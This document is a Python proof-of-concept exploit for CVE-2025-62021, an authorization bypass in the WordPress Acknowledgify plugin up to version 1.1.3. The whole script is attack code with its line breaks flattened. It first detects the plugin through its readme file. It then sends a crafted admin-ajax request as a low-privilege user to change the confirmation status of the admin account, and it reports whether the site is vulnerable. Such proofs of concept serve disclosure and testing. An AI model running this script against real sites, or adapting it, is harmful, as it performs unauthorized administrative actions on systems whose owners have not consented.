CVE-2025-62021

import requests import sys # CVE-2025-62021 PoC - Acknowledgify Plugin Authorization Bypass # Target: WordPress site with Acknowledgify plugin <= 1.1.3 def exploit_acknowledgify(target_url, wp_admin_cookie): """ Exploit the missing authorization vulnerability in Acknowledgify plugin. This PoC demonstrates how a low-privilege user can perform admin actions. """ target = target_url.rstrip('/') # Vulnerable endpoint - plugin's AJAX handler exploit_url = f"{target}/wp-admin/admin-ajax.php" # Session cookies for authenticated low-privilege user cookies = { 'wordpress_test_cookie': 'WP+Cookie+check', wp_admin_cookie: 'authenticated_session_token' } # Example 1: Unauthorized confirmation status modification payload = { 'action': 'acknowledgify_update_status', 'user_id': '1', # Target user ID (e.g., admin) 'confirmation_status': 'confirmed', 'nonce': 'attacker_provided_or_missing_nonce' } print(f"[*] Sending exploit request to {exploit_url}") print(f"[*] Payload: {payload}") try: response = requests.post(exploit_url, data=payload, cookies=cookies, timeout=10) if response.status_code == 200: print(f"[+] Request sent successfully") print(f"[+] Response: {response.text[:200]}") # Check if action was executed without proper authorization if 'success' in response.text.lower() or response.text != '0': print("[!] VULNERABLE: Plugin processed request without proper authorization check") return True else: print(f"[-] Request failed with status: {response.status_code}") except requests.exceptions.RequestException as e: print(f"[-] Error: {e}") return False def check_plugin_version(target_url): """Check if target is running vulnerable version""" readme_url = f"{target_url}/wp-content/plugins/acknowledgify/readme.txt" try: response = requests.get(readme_url, timeout=10) if response.status_code == 200 and 'acknowledgify' in response.text.lower(): print(f"[+] Acknowledgify plugin detected") return True except: pass return False if __name__ == '__main__': if len(sys.argv) < 2: print("Usage: python cve-2025-62021-poc.py <target_url> [admin_cookie_name]") print("Example: python cve-2025-62021-poc.py https://example.com wordpress_logged_in_xxx") sys.exit(1) target = sys.argv[1] cookie = sys.argv[2] if len(sys.argv) > 2 else 'wordpress_logged_in_xxx' print(f"[*] CVE-2025-62021 Acknowledgify Authorization Bypass PoC") print(f"[*] Target: {target}") if check_plugin_version(target): exploit_acknowledgify(target, cookie)

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